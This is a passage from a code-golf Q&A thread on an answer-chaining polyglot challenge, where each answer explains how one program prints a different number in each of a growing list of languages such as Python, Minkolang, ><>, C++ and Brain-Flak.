Rail answer, along with several byte inflating answers that lead up to it, solved this piece.\nNext came the problem of how to initiate the first `/*` comment block. I knew the line would have to start the line with a `#` to remain invisible to Perl, Ruby and Python, but whatever came before the `/*` would be read by C#. I attempted a C# `#region` tag at first, but that turned out to be too ridged for the 2D languages. Enter C++.\nC++ has several preprocessor directives that all start with `#`, which give a lot of options for the 2D languages to traverse. But it turned out that all of them were incompatible with at least one language, and being in a C++ exposed code space, I had limited workarounds. Out of frustration and desperation, I stumbled into the fact that C++ would simply accept just a single `#` before the comment block. Okay, whatever, that’s workable. So I moved forward with the presumption that `#/*` could work as the first three characters in the polyglot.\nThe second piece of basic verification was to ensure that the actual print statement could live happily with the other codes. I knew from the Brain-Flak answer that Japt didn’t like un-escaped `{`’s and that was needed for C++ to say `int main() {std::cout<<37;}` and C++ wouldn’t allow Japt’s escape character in the middle of its code. This time I was lucky enough to find that if I dropped out of Japt’s literal string just for this statement, Japt would still happily produce the same result.\nMeanwhile, Brain-Flak didn’t like the `{}` either, but I was again lucky to find that C++ was ok with a `#` between its `int main()` and `{std::cout<<37;}` statements, allowing the curly braces to be commented out of Brain-Flak’s perspective.\nSo, with the main problems of C++ proven to be theoretically solvable, I began the arduous process of resolving all the errors I’d introduced.\n## 2D Landscape\nThe hardest part of this answer was by far the reconfiguration of the top two lines of the polyglot. And the most significant problem was the `*`. Underload will not allow a `*` prior to a `(`. It considers this as math operation on an empty stack, which it feels is an error. So the polyglot required a `(` prior to the `/*` but C++ couldn’t allow this. So the solution was to us a C++ line comment `//` on the first line to hide a `(` and then start the second line with a `#/*`.\nNext, Befunge really didn’t like the idea of a `/` without something being divided but after studying the existing Begunge answer of `16/\"<\"6/b.q@` I stumbled on the idea of a number and a string smashed together ahead of the `//`. It worked and I have no idea why C++ is ok with this but it accepts `# 1\"16\" 2` as it’s opening statement. I’m not going to question it, but I do know that the spaces are required for it to work.\n## Line One\nJapt turned out to be rather space sensitive and didn’t really want to enter into its backtick based string on the top line, so it and Pip’s backtick got moved to the second line, forcing a lot of linguistic gymnastics on line 1.\n* Pip didn’t like most of line 1, so a second space was placed after the first `#`to indicate a comment.\n* The `(` for Underload had to be escaped out of Japt with a preceding `\\`.\n* `#` is a jump terminator in Turtlèd so it was required, but Pyth considers this a error terminating loop, so Pyth needed a divide by null `/` after the `#`\n* I’m not sure what the `@` in the first line is doing anymore, but Pyth and Japt seem to like it’s presence better than not, although `@` is not a meaningful character according to Pyth’s documentation.\n* And it looks like the first `;` can be removed at this point without consequence, so I’m not sure what was being solved there anymore, although I suspect it was Pyth related. But it looks like future solutions can save a byte by omitting that one.\n* <>< and Turtlèd both basically work the same as before with <>< reflecting on the first `#` and wrapping to the end of line one. And Turtlèd jumps with `#` like I mentioned and ends with the `\"14\"` string which it prints.\n## 2D routing\nWith these issues resolved, the next phase was routing the 2D languages. Previously the initial `v` was ignored by the Befunges due to the preceding `#`, but sent Haystack and Minkolang down. Now, the initial space attempts to send Minkolang along the 3rd dimension, which its documentation refers to as the time dimension.\nQuick aside on Minolang’s 3rd dimension: to me it’s something of a misnomer to call this a time dimension it really seems more spacial than temporal to me. I didn’t really get it until I found [this](http://play.starmaninnovations.com/minkolang/?code=V%20%20%2E) link that illustrates the concept, and it seems more like the multiple layers of a 3D chess board. My belief is that this is how 3D languages generally operate. But as this was a new concept to me, I thought I’d throw this info out for others.\nSo Minkolang’s multiple layers are delimited by lines ending in `$$$` which I threw onto the end of the Rail code here: `#-3o4o#$$$`. Now, Minkolang hits the space and falls to first `>` in `<>3N.<> ␉//` and proceeds to the right outputting 3. `#>`couldn’t be allowed to start this line because it would attempt to terminate a Perl6 comment block, so `<` is used instead of `#` to balance for SMBF and Brain-Flak. However, this is a Brain-Flak stack swap procedure, so a second set of `<>` is used after Minkolang Terminates in order to swap back to Brain-Flak’s correct answer.\nLabrynth similarly bumps up against the space but it causes Labrynth to moves down in column 1. It then turns down line 2 where it travels down to the `3` hits another wall, causing it to turn south again and hit a `;` which causes the 3 to get popped. Then the program continues to the right where 36 gets stored and printed, before finally finding a `@` exit. This path is longer than it needs to be, but I found that Prelude would output a nul byte before it’s normal 20 output if the `!` was any further to the left than it is now, regardless of the line it appears. So I made it more correct, because I had the space to do so.\nNext, Haystack’s routing got changed because `/` now comes prior to `v` on line 1 and reflects its path up like Reng. Fortunately, Reng cohabitates rather peacefully. The one hitch was that Haystack’s needle `|` was a reflector in Reng, so a Reng uses a Befunge like jump (`#`) over the needle to conclude Reng correctly.\nThe Befunges continue along line 1 until the `v` and get directed down and then to the right on the second line to conclude with the same code used before. My sense is that this piece can be golfed down a bit now that fewer languages are attempting to meaningfully traverse the code, but I didn’t need any more walls to bang my head against, so I left it as is.\nFinally, Cardinal’s starting point is `%` which had no particular need to be lumped in to the already dense top two lines. So I moved it down to Python’s string. Its multiple code paths are also now bounded by `x`’s, which ends the movement of its pointer.\n## Line 2 &3\nThe only significant change here is that all of the `:` got golfed out for one reason or another. Maybe Prelude’s `(` needs or maybe it was simple byte count problems – probably both. The other thing is that trigger’s jump code got moved back and rebranded as `auaaZ`. I had space to fill to meet Befunge’s code path and this seemed best. Also the `<` following this piece is to balance SMBF’s following `>`. Finially, the lone `”` near the end of the second line are to maintain 05AB1E’s string. Also, `yy` on line 3 are just filler characters for Labyrinth.\n## The Big String Esolangs\nWith the top two lines resolved, it was time to start digging into the fuller-parsing esolangs, and Pip turned out to have a problem. If you remember we dealt with the curly braces in `{std::cout<<37;}` by dropping out of the Japt string to let Japt treat this as code. Well, Pip is using the same string syntax and didn’t like this line as code and Pip has very similar string declaration options as Japt. Both use a single `'` to declare a one character string, both use the same escape declaration of `\\` and both will accept `\"` as string identifiers. So it was difficult to make Pip believe this was a string without making Japt believe the same.\nIt turned out that Japt did have one exploitable difference though - `#` takes the ascii value of the next character. So, `#\"`` will terminate the Japt/pip string, then tell Japt to take the asci value of `\"`, while telling Pip to start a new string. The `\"` probably could have been a backtick instead, and probably would have been better, but my line of thinking was to use a different string identifier on the inside as another point of string manipulation. So here’s another place where you could save a few bytes down the road.\nNext, I had to initiate the Japt string after the curly braces while allowing Pip to remain in a string. I did this with `'\"`` that's a single quote, double quote, and a backtick. For Japt the `'` is not in a string and is therefore an indicator to take the next character as a single char string. Pip sees the `'` as part of the string and terminates its string with the `\"`. And finally, ``` is indicates to both Pip and Japt that another string is beginning which continues throughout the polyglot until the last line where both languages complete happily.\nNow, both Japt and Pip worked at this point, but 05AB1E failed because of the use of `\"` caused some error inducing code exposure. Fortunately this one was easy enough to solve by putting another set of `\"` around the whole thing, leaving the set of string manipulations as `\"`#\"\\\\'*/{std::cout<<37;}/*'\"`\"`.\nFinally, with the line now looking like this,`int main() #/*\"`#\"\\'*/{std::cout<<37;}/*'\"`\"` which Underload had a problem with. The consecutive `*`’s, were another syntax error so I threw a `()` in the middle of the `*`’s to appease it.\n## The Fragile Esolangs\nThe big hurdle now was White Space. I won’t go into a ton of detail here because most of the Whitespace solution is built into the explanations already given, and I just glossed over the instances where whitespace forced a few decisions. I’m looking at you Labyrinth. The big change though, is that the actual code to output Whitespace’s answer is on line 2-4 instead of 1-3. This is largely due to Japt’s code exposure in line 1.\nThutu originally had problems with what had been this line: `int main() #/*()\"`#\"\\'*/{std::cout<<37;}/*'\"`\"`. So, I threw in a linefeed just before the first `#` to hide all the problems behind a comment indicator and then spammed out a bunch of trailing `/`’s everywhere else that was code exposed.\nAt this point I aligned Hexagony and found new problem. The code at the very beginning, which started life as `# 1\"16\" 1` made the `+` in `/+23!@` no longer clear the stack. So, I just removed the `+` is and found it now output 123. This was easy enough to fix by changing the opening gambit to `# 1\"16\" 2` and golfing the Hexagony piece down to `/3!@`.\nWhirl had some changes, but it was mostly a matter of making sure the right number of leading 1s appeared before the Whirl-Incident line. Incident though had one token that was particularly difficult. I had exactly 3 copies of `/*` and `*/`.\nI initially wanted to just throw `*//*` any old place in the code to create a 4th copy of each, but Underload saw consecutive `*`’s again, which was a no go. Ultimately I threw a `/` on the end of this line `int main() /*` to make it end in `/*/`, thinking that I’d make the tokens overlap, but I only succeeded in creating 4 copies of one of the two tokens. Right, right. That’s how that works. Oh well, I’ll just throw a similar `/` in the final `*/` to make a 4th there. After this, I replaced a bunch of hexagony no-ops with a 4th copy of several incident tokens in this string on the final line `7LEintndus({})!<>+`.\n## Conclusion\nOk, that's all the detail I have for this massive refactor. I promise not to have so much to write about next time. I actually have no idea if C++ is a good or bad choice for this polyglot, but my sense it opens some options. Hopefully this leads to good things.\nHappy coding.\n[Answer]\n# 3. Minkolang v0.15 (26 bytes)\n```\n#>>>>>>>>v\nprint(1)#>3N.i2\n```\nThis program prints **1** in Python 3, **2** in Vim, and **3** in Minkolang v0.15\nI hope I don't mess things up by introducing a 2d language\n[Try it online!](http://play.starmaninnovations.com/minkolang/?code=%23%3E%3E%3E%3E%3E%3E%3E%3Ev%0Aprint%281%29%23%3E3N%2Ei2)\n### Explanation\n```\n# stops program from moving through time (really does nothing)\n >>>>>>>> I can't use a space because then the program will move through time\n v go down\n > go right\n 3N. Outputs 3 and end program\n Anything afterward is ignored since program has ended\n```\nVim somehow ignores Minkolang, so that's good\nAnd there really wasn't a problem with Python since it ignores the comments `#`\n### Next...\nFor the next language, I suggest something like ><> since `#` acts as a reflector (so that the direction will change to left and it will wrap to all the way in the right) so you can add code that can be ignored by other languages\n[Answer]\n## 5. Python 2 (35 bytes)\n```\n#3N.;n4\nprint('1'if 1/2else'5')\n#i2\n```\nThis program prints **1** in Python 3, **2** in Vim, **3** in Minkolang v0.15, **4** in ><> and **5** in Python 2.\n[Try It Online beta!](https://tio.run/#gBXAE)\nIn Python 2, 1/2 is 0, which is a falsy value, which makes Python print 5. In Python 3, 1/2 is 0.5, which is a truthy value, which makes Python print 1.\n[Answer]\n## 4. ><> (29 bytes)\n```\n#>>>>>>>>v;n4\nprint(1)#>3N.i2\n```\nThis program prints **1** in Python 3, **2** in Vim, **3** in Minkolang v0.15 and **4** in ><>\n[Try it Online!](http://fish.tryitonline.net/#code=Iz4-Pj4-Pj4-djtuNApwcmludCgxKSM-M04uaTI&input=)\nCode ran\n```\n# - change direction to left\n 4 - add 4 to stack\n n - print as a number\n ; - end the program\n```\nYet another 2D language.\nHas no effect on Minkolang as it adds characters after the direction changes, gets ignored by Vim for some reason. `#` is a comment in Python so no change their either.\n[Answer]\n# 28. [Brain-Flak](https://tio.run/nexus/brain-flak#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), 280 bytes\n```\n#v`16/\"<\"6/b.q@\"(::)::: (22)S#;n4\"14\"\n#>3N6@15o|> ^*ttt*~++~~~%\n#=~nJ>62)or'(\\{(\\{})(\\{}\\/^23!@[()])}\\{})(\\{}\\{})'#@46(8+9+9+9+9+=!)=#print(17)#]#echo 21#|/=1/24=x=90/\n#8␛dggi2␛` |1|6$//''25 #>say 27#\"26\n```\n␛ represents a literal ESC character, as usual.\nThis program prints [**28** in Brain-Flak](https://tio.run/nexus/brain-flak#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**27** in Perl 6](https://tio.run/nexus/perl6#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**26** in 05AB1E](https://tio.run/nexus/05ab1e#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**25** in Pip](https://tio.run/nexus/pip#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**24** in Thutu](https://tio.run/nexus/thutu#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**23** in Hexagony](https://tio.run/nexus/hexagony#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**22** in Underload](https://tio.run/nexus/underload#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**21** in Nim](https://tio.run/nexus/nim#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**20** in Prelude](https://tio.run/nexus/prelude#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), **19** in Reng (tested [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/)), [**18** in Cardinal](https://tio.run/nexus/cardinal#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**17** in Julia](https://tio.run/nexus/julia5#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**16** in Pyth](https://tio.run/nexus/pyth#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**15** in Haystack](https://tio.run/nexus/haystack#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**14** in Turtlèd](https://tio.run/nexus/turtled#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**13** in Ruby](https://tio.run/nexus/ruby#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**12** in Fission](https://tio.run/nexus/fission#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**11** in Befunge-98](https://tio.run/nexus/befunge-98#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**10** in Befunge-93](https://tio.run/nexus/befunge#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**9** in Perl 5](https://tio.run/nexus/perl#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**8** in Retina](https://tio.run/nexus/retina#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**7** in Japt](https://tio.run/nexus/japt#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**6** in SMBF](https://tio.run/nexus/smbf#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**5** in Python 2](https://tio.run/nexus/python2#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**4** in ><>](https://tio.run/nexus/fish#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**3** in Minkolang](https://tio.run/nexus/minkolang#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA),\n[**2** in Vim/V](https://tio.run/nexus/v#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA), [**1** in Python 3](https://tio.run/nexus/python3#PY3BToNAFEX38wvdTOdpeK9Ep/OAaaFAWLtwoctSAtpamxjQSpoaKb@ObTTm3tyTnM0d4FAaq1WsrH66/cgURhFFUSSlRGZ6hEXtK@MrAal3bzMTNF0qi0nbtpPedfu@vxaQ9PVd/KAMq4WApYAyLjvxvt/VLeLmUL2hMvmRX1hRVa8lhiSbvUTjEd3g9KJ8KtBQHKMNKE0tU7N3MP8@90SXyXXB3jhbIq3o9C/PdCDzLc7d8C/JmBL4fTYzghVsnl8byQY6nRjNfnJMwqkWMB@tt9sdj0rZmc5eae04HEgJ6Wf1JXkGiu0w/AA)\nFirst off, I want to say what a privilege it is to be able to contribute to this challenge. I only heard of code golf a few weeks ago and I have been absolutely hooked ever since. The first thing I did when I found this challenge was try to run the code as is in various languages just to see if I could find anything I could work with. This was back when we were on like #6. I honestly thought this challenge was bonkers impossible, but here we are (#28 Wow!). What I found at the time was that Brain-Flak output the value 